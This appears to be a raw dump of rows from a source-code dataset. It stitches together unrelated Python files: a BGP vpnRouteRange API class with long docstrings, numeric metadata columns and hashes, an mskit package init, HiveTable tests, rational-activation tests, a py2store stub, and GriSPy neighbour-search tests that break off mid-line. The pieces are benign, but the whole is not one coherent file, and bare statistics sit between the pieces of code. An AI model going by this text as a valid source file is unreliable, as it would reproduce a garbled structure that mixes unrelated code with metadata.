DISCRIMINATOR attribute. (default = false) - EnableNextHop (bool): Enables the generation of a NEXT HOP attribute. (default = true) - EnableOrigin (bool): Enables the generation of an ORIGIN attribute. (default = true) - EnableOriginatorId (bool): Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false) - EnableTraditionalNlriUpdate (bool): If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.) - Enabled (bool): Enables the VPN route range. - EndOfRib (bool): If true, enables end of rib - FromPacking (number): The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0) - FromPrefix (number): The first prefix length to generate based on the networkAddress and numRanges. (default = 24) - IncludeSourceAsExtendedCommunityPresent (bool): If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented - IncludeVrfRouteImportExtendedCommunityPresent (bool): Defines the route target extended community. - IpType (str(ipAny | ipv4 | ipv6)): The type of IP address in nextworkAddress. - IterationStep (number): During prefix generation, the increment between prefixes. (default = 1) - LocalPref (number): The local preference value for the routes with the LOCAL PREF attribute. (default = 0) - Med (number): The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0) - NetworkAddress (str): The network address used for the generated prefixes. (default = 0.0.0.0) - NextHopIpAddress (str): The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0) - NextHopMode (str(fixed | nextHopIncrement | incrementPerPrefix)): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses. - NextHopSetMode (str(setManually | sameAsLocalIp)): Indicates now to set the next hop IP address. - NumRoutes (number): The number of prefixes (routes) to generate for this routeItem. (default = 1) - OriginProtocol (str(igp | egp | incomplete)): An indication of where the route entry originated. - OriginatorId (str): The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0) - RouteStepAcrossVRFs (str): The route increment value across VRFs. - ThruPacking (number): The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0) - ThruPrefix (number): The last prefix length to generate based on the networkAddress and numRanges. (default = 24) Raises ------ - ServerError: The server has encountered an uncategorized error condition """ return self._update(self._map_locals(self._SDM_ATT_MAP, locals())) def add(self, AdvertiseNextHopAsV4=None, AggregatorAsNum=None, AggregatorIpAddress=None, Delay=None, DistinguisherAsNumber=None, DistinguisherAsNumberStep=None, DistinguisherAsNumberStepAcrossVrfs=None, DistinguisherAssignedNumber=None, DistinguisherAssignedNumberStep=None, DistinguisherAssignedNumberStepAcrossVrfs=None, DistinguisherCount=None, DistinguisherCountPerVrf=None, DistinguisherIpAddress=None, DistinguisherIpAddressStep=None, DistinguisherIpAddressStepAcrossVrfs=None, DistinguisherMode=None, DistinguisherStep=None, DistinguisherType=None, EnableAggregator=None, EnableAggregatorIdIncrementMode=None, EnableAsPath=None, EnableAtomicAttribute=None, EnableCluster=None, EnableCommunity=None, EnableGenerateUniqueRoutes=None, EnableIncludeLoopback=None, EnableIncludeMulticast=None, EnableLocalPref=None, EnableMed=None, EnableNextHop=None, EnableOrigin=None, EnableOriginatorId=None, EnableTraditionalNlriUpdate=None, Enabled=None, EndOfRib=None, FromPacking=None, FromPrefix=None, IncludeSourceAsExtendedCommunityPresent=None, IncludeVrfRouteImportExtendedCommunityPresent=None, IpType=None, IterationStep=None, LocalPref=None, Med=None, NetworkAddress=None, NextHopIpAddress=None, NextHopMode=None, NextHopSetMode=None, NumRoutes=None, OriginProtocol=None, OriginatorId=None, RouteStepAcrossVRFs=None, ThruPacking=None, ThruPrefix=None): """Adds a new vpnRouteRange resource on the server and adds it to the container. Args ---- - AdvertiseNextHopAsV4 (bool): NOT DEFINED - AggregatorAsNum (number): The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0) - AggregatorIpAddress (str): The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0) - Delay (number): - DistinguisherAsNumber (number): If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0) - DistinguisherAsNumberStep (number): The increment step for for the distinguisher AS number. - DistinguisherAsNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher AS number within the VRF Range. - DistinguisherAssignedNumber (number): The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0) - DistinguisherAssignedNumberStep (number): The increment step for for the distinguisher assigned number. - DistinguisherAssignedNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher assigned number within the VRF Range. - DistinguisherCount (number): The number of times that the increment step will be used. (default = 1) - DistinguisherCountPerVrf (number): The number of times that the increment step is used per VRF. - DistinguisherIpAddress (str): If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0) - DistinguisherIpAddressStep (str): The increment step for for the distinguisher IP address. - DistinguisherIpAddressStepAcrossVrfs (str): The increment step for per VRF distinguisher IP address within the VRF Range. - DistinguisherMode (str(global | local)): Specifies which part of the route distinguisher you want to increment. - DistinguisherStep (number): The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1) - DistinguisherType (str(as | ip | asNumber2)): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements. - EnableAggregator (bool): Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false) - EnableAggregatorIdIncrementMode (bool): If true, increments the Aggregator ID by interationStep. - EnableAsPath (bool): Enables the generation of AS Path related items. - EnableAtomicAttribute (bool): Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false) - EnableCluster (bool): Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false) - EnableCommunity (bool): Enables the generation of a COMMUNITY attribute list. (default = false) - EnableGenerateUniqueRoutes (bool): When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is. - EnableIncludeLoopback (bool): - EnableIncludeMulticast (bool): - EnableLocalPref (bool): Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false) - EnableMed (bool): Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false) - EnableNextHop (bool): Enables the generation of a NEXT HOP attribute. (default = true) - EnableOrigin (bool): Enables the generation of an ORIGIN attribute. (default = true) - EnableOriginatorId (bool): Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false) - EnableTraditionalNlriUpdate (bool): If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.) - Enabled (bool): Enables the VPN route range. - EndOfRib (bool): If true, enables end of rib - FromPacking (number): The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0) - FromPrefix (number): The first prefix length to generate based on the networkAddress and numRanges. (default = 24) - IncludeSourceAsExtendedCommunityPresent (bool): If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented - IncludeVrfRouteImportExtendedCommunityPresent (bool): Defines the route target extended community. - IpType (str(ipAny | ipv4 | ipv6)): The type of IP address in nextworkAddress. - IterationStep (number): During prefix generation, the increment between prefixes. (default = 1) - LocalPref (number): The local preference value for the routes with the LOCAL PREF attribute. (default = 0) - Med (number): The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0) - NetworkAddress (str): The network address used for the generated prefixes. (default = 0.0.0.0) - NextHopIpAddress (str): The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0) - NextHopMode (str(fixed | nextHopIncrement | incrementPerPrefix)): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses. - NextHopSetMode (str(setManually | sameAsLocalIp)): Indicates now to set the next hop IP address. - NumRoutes (number): The number of prefixes (routes) to generate for this routeItem. (default = 1) - OriginProtocol (str(igp | egp | incomplete)): An indication of where the route entry originated. - OriginatorId (str): The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0) - RouteStepAcrossVRFs (str): The route increment value across VRFs. - ThruPacking (number): The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0) - ThruPrefix (number): The last prefix length to generate based on the networkAddress and numRanges. (default = 24) Returns ------- - self: This instance with all currently retrieved vpnRouteRange resources using find and the newly added vpnRouteRange resources available through an iterator or index Raises ------ - ServerError: The server has encountered an uncategorized error condition """ return self._create(self._map_locals(self._SDM_ATT_MAP, locals())) def remove(self): """Deletes all the contained vpnRouteRange resources in this instance from the server. Raises ------ - NotFoundError: The requested resource does not exist on the server - ServerError: The server has encountered an uncategorized error condition """ self._delete() def find(self, AdvertiseNextHopAsV4=None, AggregatorAsNum=None, AggregatorIpAddress=None, Delay=None, DistinguisherAsNumber=None, DistinguisherAsNumberStep=None, DistinguisherAsNumberStepAcrossVrfs=None, DistinguisherAssignedNumber=None, DistinguisherAssignedNumberStep=None, DistinguisherAssignedNumberStepAcrossVrfs=None, DistinguisherCount=None, DistinguisherCountPerVrf=None, DistinguisherIpAddress=None, DistinguisherIpAddressStep=None, DistinguisherIpAddressStepAcrossVrfs=None, DistinguisherMode=None, DistinguisherStep=None, DistinguisherType=None, EnableAggregator=None, EnableAggregatorIdIncrementMode=None, EnableAsPath=None, EnableAtomicAttribute=None, EnableCluster=None, EnableCommunity=None, EnableGenerateUniqueRoutes=None, EnableIncludeLoopback=None, EnableIncludeMulticast=None, EnableLocalPref=None, EnableMed=None, EnableNextHop=None, EnableOrigin=None, EnableOriginatorId=None, EnableTraditionalNlriUpdate=None, Enabled=None, EndOfRib=None, FromPacking=None, FromPrefix=None, IncludeSourceAsExtendedCommunityPresent=None, IncludeVrfRouteImportExtendedCommunityPresent=None, IpType=None, IterationStep=None, LocalPref=None, Med=None, NetworkAddress=None, NextHopIpAddress=None, NextHopMode=None, NextHopSetMode=None, NumRoutes=None, OriginProtocol=None, OriginatorId=None, RouteStepAcrossVRFs=None, ThruPacking=None, ThruPrefix=None): """Finds and retrieves vpnRouteRange resources from the server. All named parameters are evaluated on the server using regex. The named parameters can be used to selectively retrieve vpnRouteRange resources from the server. To retrieve an exact match ensure the parameter value starts with ^ and ends with $ By default the find method takes no parameters and will retrieve all vpnRouteRange resources from the server. Args ---- - AdvertiseNextHopAsV4 (bool): NOT DEFINED - AggregatorAsNum (number): The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0) - AggregatorIpAddress (str): The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0) - Delay (number): - DistinguisherAsNumber (number): If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0) - DistinguisherAsNumberStep (number): The increment step for for the distinguisher AS number. - DistinguisherAsNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher AS number within the VRF Range. - DistinguisherAssignedNumber (number): The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0) - DistinguisherAssignedNumberStep (number): The increment step for for the distinguisher assigned number. - DistinguisherAssignedNumberStepAcrossVrfs (number): The increment step for per VRF distinguisher assigned number within the VRF Range. - DistinguisherCount (number): The number of times that the increment step will be used. (default = 1) - DistinguisherCountPerVrf (number): The number of times that the increment step is used per VRF. - DistinguisherIpAddress (str): If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0) - DistinguisherIpAddressStep (str): The increment step for for the distinguisher IP address. - DistinguisherIpAddressStepAcrossVrfs (str): The increment step for per VRF distinguisher IP address within the VRF Range. - DistinguisherMode (str(global | local)): Specifies which part of the route distinguisher you want to increment. - DistinguisherStep (number): The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1) - DistinguisherType (str(as | ip | asNumber2)): Indicates the type of administrator field used in route distinguisher that will be included in the route announcements. - EnableAggregator (bool): Generates an AGGREGATOR attribute using the aggregatorIpAddress, aggregatorASNum, and aggregatorIDMode. (default = false) - EnableAggregatorIdIncrementMode (bool): If true, increments the Aggregator ID by interationStep. - EnableAsPath (bool): Enables the generation of AS Path related items. - EnableAtomicAttribute (bool): Sets the attribute bit that indicates that the router has aggregated two or more prefixes in the AGGREGATOR attribute. (default = false) - EnableCluster (bool): Enables the generation of the CLUSTER attribute list based on information in clusterList. (default = false) - EnableCommunity (bool): Enables the generation of a COMMUNITY attribute list. (default = false) - EnableGenerateUniqueRoutes (bool): When set to 1, each router generates a different IP address range. When not enabled, each router will advertise the route range as is. - EnableIncludeLoopback (bool): - EnableIncludeMulticast (bool): - EnableLocalPref (bool): Enables the generation of a LOCAL PREF attribute based on the information in localPref. This value should be set to true only for EBGP. (default = false) - EnableMed (bool): Enables the generation of a MULTI EXIT DISCRIMINATOR attribute. (default = false) - EnableNextHop (bool): Enables the generation of a NEXT HOP attribute. (default = true) - EnableOrigin (bool): Enables the generation of an ORIGIN attribute. (default = true) - EnableOriginatorId (bool): Enables the generation of an ORIGINATOR-ID attribute, based on information in originatorId. (default = false) - EnableTraditionalNlriUpdate (bool): If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.) - Enabled (bool): Enables the VPN route range. - EndOfRib (bool): If true, enables end of rib - FromPacking (number): The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0) - FromPrefix (number): The first prefix length to generate based on the networkAddress and numRanges. (default = 24) - IncludeSourceAsExtendedCommunityPresent (bool): If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented - IncludeVrfRouteImportExtendedCommunityPresent (bool): Defines the route target extended community. - IpType (str(ipAny | ipv4 | ipv6)): The type of IP address in nextworkAddress. - IterationStep (number): During prefix generation, the increment between prefixes. (default = 1) - LocalPref (number): The local preference value for the routes with the LOCAL PREF attribute. (default = 0) - Med (number): The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0) - NetworkAddress (str): The network address used for the generated prefixes. (default = 0.0.0.0) - NextHopIpAddress (str): The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0) - NextHopMode (str(fixed | nextHopIncrement | incrementPerPrefix)): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses. - NextHopSetMode (str(setManually | sameAsLocalIp)): Indicates now to set the next hop IP address. - NumRoutes (number): The number of prefixes (routes) to generate for this routeItem. (default = 1) - OriginProtocol (str(igp | egp | incomplete)): An indication of where the route entry originated. - OriginatorId (str): The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0) - RouteStepAcrossVRFs (str): The route increment value across VRFs. - ThruPacking (number): The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0) - ThruPrefix (number): The last prefix length to generate based on the networkAddress and numRanges. (default = 24) Returns ------- - self: This instance with matching vpnRouteRange resources retrieved from the server available through an iterator or index Raises ------ - ServerError: The server has encountered an uncategorized error condition """ return self._select(self._map_locals(self._SDM_ATT_MAP, locals())) def read(self, href): """Retrieves a single instance of vpnRouteRange data from the server. Args ---- - href (str): An href to the instance to be retrieved Returns ------- - self: This instance with the vpnRouteRange resources from the server available through an iterator or index Raises ------ - NotFoundError: The requested resource does not exist on the server - ServerError: The server has encountered an uncategorized error condition """ return self._read(href)
55.85272
1,360
0.707906
6,388
59,539
6.501096
0.067627
0.015893
0.023839
0.034121
0.777794
0.770522
0.722579
0.713718
0.699487
0.630403
0
0.009149
0.208804
59,539
1,065
1,361
55.905164
0.872439
0.51494
0
0.150463
0
0
0.161851
0.084057
0
0
0
0
0
1
0.273148
false
0
0.039352
0
0.481481
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
6
1d53b6a09a22a201a1fa49693eb4cc7a52558dcb
164
py
Python
mskit/post_analysis/_spectronaut/__init__.py
gureann/MSKit
8b360d38288100476740ad808e11b6c1b454dc2c
[ "MIT" ]
null
null
null
mskit/post_analysis/_spectronaut/__init__.py
gureann/MSKit
8b360d38288100476740ad808e11b6c1b454dc2c
[ "MIT" ]
null
null
null
mskit/post_analysis/_spectronaut/__init__.py
gureann/MSKit
8b360d38288100476740ad808e11b6c1b454dc2c
[ "MIT" ]
null
null
null
from . import mod_process from . import sn_constant from . import sn_phossite from . import sn_result from . import sn_utils from .sn_lib import SpectronautLibrary
23.428571
38
0.817073
25
164
5.12
0.44
0.390625
0.375
0
0
0
0
0
0
0
0
0
0.146341
164
6
39
27.333333
0.914286
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
d54c929fc45f5e0bfed6203a75cc7cf95c4c98d7
2,050
py
Python
tests/getl/common/test_hive_table.py
husqvarnagroup/GETL
37251abf12bac2efed1fe463b09a288d85969141
[ "MIT" ]
8
2020-06-10T09:00:17.000Z
2021-06-07T18:02:19.000Z
tests/getl/common/test_hive_table.py
husqvarnagroup/GETL
37251abf12bac2efed1fe463b09a288d85969141
[ "MIT" ]
5
2020-07-03T10:39:25.000Z
2021-08-30T14:52:47.000Z
tests/getl/common/test_hive_table.py
husqvarnagroup/GETL
37251abf12bac2efed1fe463b09a288d85969141
[ "MIT" ]
1
2020-05-28T07:53:48.000Z
2020-05-28T07:53:48.000Z
"""Testing module hive table.""" from unittest.mock import Mock, call import pytest from getl.common.hive_table import HiveTable @pytest.mark.parametrize( "params, num_calls, schema", [ ({"location": "s3://bucket/prefix"}, 3, ""), ( {"location": "s3://bucket/prefix", "db_schema": "col STRING"}, 3, " (col STRING)", ), ], ) def test_create_hive_table(params, num_calls, schema): """While writing create a hive table with and without ZOPTIMIZE.""" # Arrange spark_session = Mock() hive_table = HiveTable( spark=spark_session, database_name="db", table_name="tableking" ) # Act hive_table.create(**params) # Assert assert spark_session.sql.call_count == num_calls calls = [ call("CREATE DATABASE IF NOT EXISTS db"), call("USE db"), call( f"CREATE TABLE IF NOT EXISTS tableking{schema} USING DELTA LOCATION 's3://bucket/prefix'" ), ] spark_session.sql.assert_has_calls(calls) @pytest.mark.parametrize( "params, num_calls, schema", [ ( { "location": "s3://bucket/prefix", "db_schema": "col STRING", "columns": ["col"], }, 3, " (col STRING)", ) ], ) def test_create_hive_table_partition_by(params, num_calls, schema): """While writing create a hive table with and without ZOPTIMIZE.""" # Arrange spark_session = Mock() hive_table = HiveTable( spark=spark_session, database_name="db", table_name="tableking" ) # Act hive_table.create(**params) # Assert assert spark_session.sql.call_count == num_calls calls = [ call("CREATE DATABASE IF NOT EXISTS db"), call("USE db"), call( f"CREATE TABLE IF NOT EXISTS tableking{schema} USING " f"DELTA PARTITIONED BY (col) LOCATION 's3://bucket/prefix'" ), ] spark_session.sql.assert_has_calls(calls)
25.949367
101
0.580488
232
2,050
4.961207
0.25431
0.078193
0.069505
0.095569
0.86881
0.86881
0.86881
0.86881
0.764553
0.764553
0
0.005521
0.293171
2,050
78
102
26.282051
0.78882
0.092195
0
0.559322
0
0
0.267935
0
0
0
0
0
0.067797
1
0.033898
false
0
0.050847
0
0.084746
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
d54ed802b6d7e09208ba6a024b36ff1db1f3a7aa
1,342
py
Python
tests/tests_keras/test_correctness_cpu.py
ThomasRot/rational_activations
1fa26d1ee5f3c916eda00c899afa96eccb960143
[ "MIT" ]
26
2020-11-17T11:44:52.000Z
2022-02-25T22:14:49.000Z
tests/tests_keras/test_correctness_cpu.py
ThomasRot/rational_activations
1fa26d1ee5f3c916eda00c899afa96eccb960143
[ "MIT" ]
8
2020-11-27T11:34:14.000Z
2021-11-11T08:23:13.000Z
tests/tests_keras/test_correctness_cpu.py
ThomasRot/rational_activations
1fa26d1ee5f3c916eda00c899afa96eccb960143
[ "MIT" ]
8
2020-11-21T10:12:28.000Z
2022-01-15T16:54:48.000Z
""" This file tests that cpu calculations produce correct results. """ from tensorflow.nn import leaky_relu from tensorflow.math import tanh, sigmoid from .helpers import _test_template # test cpu execution CUDA = False def test_a_on_cpu_lrelu(): _test_template(version='A', approx_func=leaky_relu, cuda=CUDA) def test_b_on_cpu_lrelu(): _test_template(version='B', approx_func=leaky_relu, cuda=CUDA) def test_c_on_cpu_lrelu(): _test_template(version='C', approx_func=leaky_relu, cuda=CUDA) def test_d_on_cpu_lrelu(): _test_template(version='D', approx_func=leaky_relu, cuda=CUDA) def test_a_on_cpu_tanh(): _test_template(version='A', approx_func=tanh, cuda=CUDA) def test_b_on_cpu_tanh(): _test_template(version='B', approx_func=tanh, cuda=CUDA) def test_c_on_cpu_tanh(): _test_template(version='C', approx_func=tanh, cuda=CUDA) def test_d_on_cpu_tanh(): _test_template(version='D', approx_func=tanh, cuda=CUDA) def test_a_on_cpu_sigmoid(): _test_template(version='A', approx_func=sigmoid, cuda=CUDA) def test_b_on_cpu_sigmoid(): _test_template(version='B', approx_func=sigmoid, cuda=CUDA) def test_c_on_cpu_sigmoid(): _test_template(version='C', approx_func=sigmoid, cuda=CUDA) def test_d_on_cpu_sigmoid(): _test_template(version='D', approx_func=sigmoid, cuda=CUDA)
22.745763
66
0.76006
215
1,342
4.32093
0.15814
0.167923
0.245425
0.17761
0.813778
0.78902
0.44564
0.146394
0
0
0
0
0.122951
1,342
58
67
23.137931
0.789295
0.061103
0
0
0
0
0.009585
0
0
0
0
0
0
1
0.428571
false
0
0.107143
0
0.535714
0
0
0
0
null
0
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
6
d5817c9426573e9b47e7b26bca03bad76f8d00b0
66
py
Python
py2store/core.py
i2mint/py2store
1b8ccb21cdff6ffb269460eebbe813cc471be748
[ "MIT" ]
10
2019-03-04T15:02:15.000Z
2020-09-16T11:57:30.000Z
py2store/core.py
i2mint/py2store
1b8ccb21cdff6ffb269460eebbe813cc471be748
[ "MIT" ]
60
2019-08-08T14:38:56.000Z
2021-04-08T15:19:11.000Z
py2store/core.py
i2mint/py2store
1b8ccb21cdff6ffb269460eebbe813cc471be748
[ "MIT" ]
10
2019-08-08T03:15:35.000Z
2020-06-18T16:19:18.000Z
"""Forwards to dol.core: Core tools """ from dol.core import *
8.25
24
0.651515
10
66
4.3
0.7
0.325581
0
0
0
0
0
0
0
0
0
0
0.19697
66
7
25
9.428571
0.811321
0.5
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
d5900cb4e2762a1a455af62718f2defa985c0885
30
py
Python
fasterrcnn/backbone/__init__.py
ldfrancis/faster_rcnn
35b1ea5d16e669088e73bc741a7ea294221e6516
[ "MIT" ]
2
2021-05-25T18:53:00.000Z
2021-05-26T12:11:41.000Z
segme/backbone/__init__.py
shkarupa-alex/segme
d5bc0043f9e709c8ccaf8949d662bc6fd6144006
[ "MIT" ]
1
2021-11-01T20:07:09.000Z
2021-11-01T20:07:09.000Z
segme/backbone/__init__.py
shkarupa-alex/segme
d5bc0043f9e709c8ccaf8949d662bc6fd6144006
[ "MIT" ]
2
2021-11-21T02:39:37.000Z
2021-12-08T07:26:56.000Z
from .backbone import Backbone
30
30
0.866667
4
30
6.5
0.75
0
0
0
0
0
0
0
0
0
0
0
0.1
30
1
30
30
0.962963
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
d59150dd0a98b7cdba16edae14c9987635e7ffbb
12,497
py
Python
tests/test_brute_force.py
malejandrogarcia/grispymag
3dcd6ade77e7063116295368ed7474a82a190775
[ "MIT" ]
null
null
null
tests/test_brute_force.py
malejandrogarcia/grispymag
3dcd6ade77e7063116295368ed7474a82a190775
[ "MIT" ]
null
null
null
tests/test_brute_force.py
malejandrogarcia/grispymag
3dcd6ade77e7063116295368ed7474a82a190775
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # This file is part of the # GriSPy Project (https://github.com/mchalela/GriSPy). # Copyright (c) 2019, Martin Chalela # License: MIT # Full Text: https://github.com/mchalela/GriSPy/blob/master/LICENSE import pytest import numpy as np from grispy import GriSPy from numpy.testing import assert_equal, assert_, assert_almost_equal class Test_grispy: @pytest.fixture def gsp(self): np.random.seed(1234) npoints = 10 ** 5 self.lbox = 100.0 self.centres = self.lbox * (0.5 - np.random.rand(1, 10).T) self.data = np.random.uniform( -0.5 * self.lbox, 0.5 * self.lbox, size=(npoints, 1) ) self.upper_radii = 0.25 * self.lbox self.lower_radii = 0.20 * self.lbox self.n_nearest = 32 self.eps = 1e-6 return GriSPy(self.data) def test_nearest_neighbors_sort(self, gsp): b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest) for i in range(len(b)): assert_equal(sorted(b[i]), b[i]) gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)}) b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest) for i in range(len(b)): assert_equal(sorted(b[i]), b[i]) def test_all_in_bubble(self, gsp): b, ind = gsp.bubble_neighbors( self.centres, distance_upper_bound=self.upper_radii ) for i, l in enumerate(ind): for j in l: d = np.fabs(self.data[j] - self.centres[i]) assert_(d <= self.upper_radii * (1.0 + self.eps)) gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)}) b, ind = gsp.bubble_neighbors( self.centres, distance_upper_bound=self.upper_radii ) for i, l in enumerate(ind): for j in l: d = self.data[j] - self.centres[i] if d > 0.5 * self.lbox: d = d - self.lbox if d < -0.5 * self.lbox: d = d + self.lbox d = np.fabs(d) assert_(d <= self.upper_radii * (1.0 + self.eps)) def test_all_in_shell(self, gsp): b, ind = gsp.shell_neighbors( self.centres, distance_lower_bound=self.lower_radii, distance_upper_bound=self.upper_radii, ) for i, l in enumerate(ind): for j in l: d = np.fabs(self.data[j] - self.centres[i]) assert_(d <= self.upper_radii * (1.0 + self.eps)) assert_(d >= self.lower_radii * (1.0 - self.eps)) gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)}) b, ind = gsp.shell_neighbors( self.centres, distance_lower_bound=self.lower_radii, distance_upper_bound=self.upper_radii, ) for i, l in enumerate(ind): for j in l: d = self.data[j] - self.centres[i] if d > 0.5 * self.lbox: d = d - self.lbox if d < -0.5 * self.lbox: d = d + self.lbox d = np.fabs(d) assert_(d <= self.upper_radii * (1.0 + self.eps)) assert_(d >= self.lower_radii * (1.0 - self.eps)) def test_bubble_precision(self, gsp): b, ind = gsp.bubble_neighbors( self.centres, distance_upper_bound=self.upper_radii, sorted=True ) for i, centre in enumerate(self.centres): d = np.fabs(self.data - centre) mask = d < self.upper_radii d = d[mask] assert_equal(len(b[i]), len(d)) assert_almost_equal(b[i], sorted(d), decimal=14) gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)}) b, ind = gsp.bubble_neighbors( self.centres, distance_upper_bound=self.upper_radii, sorted=True ) for i, centre in enumerate(self.centres): d = self.data - centre mask = d > 0.5 * self.lbox d[mask] = d[mask] - self.lbox mask = d < -0.5 * self.lbox d[mask] = d[mask] + self.lbox d = np.fabs(d) mask = d < self.upper_radii d = d[mask] assert_equal(len(b[i]), len(d)) assert_almost_equal(b[i], sorted(d), decimal=14) def test_shell_precision(self, gsp): b, ind = gsp.shell_neighbors( self.centres, distance_lower_bound=self.lower_radii, distance_upper_bound=self.upper_radii, sorted=True, ) for i, centre in enumerate(self.centres): d = np.fabs(self.data - centre) mask = (d <= self.upper_radii) * (d >= self.lower_radii) d = d[mask] assert_equal(len(b[i]), len(d)) assert_almost_equal(b[i], sorted(d), decimal=14) gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)}) b, ind = gsp.shell_neighbors( self.centres, distance_lower_bound=self.lower_radii, distance_upper_bound=self.upper_radii, sorted=True, ) for i, centre in enumerate(self.centres): d = self.data - centre mask = d > 0.5 * self.lbox d[mask] = d[mask] - self.lbox mask = d < -0.5 * self.lbox d[mask] = d[mask] + self.lbox d = np.fabs(d) mask = (d <= self.upper_radii) * (d >= self.lower_radii) d = d[mask] assert_equal(len(b[i]), len(d)) assert_almost_equal(b[i], sorted(d), decimal=14) def test_nearest_neighbors_precision(self, gsp): b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest) for i, centre in enumerate(self.centres): d = np.fabs(self.data - centre) d = sorted(np.concatenate(d)) d = d[: self.n_nearest] assert_equal(len(b[i]), len(d)) assert_almost_equal(b[i], d, decimal=16) gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)}) b, ind = 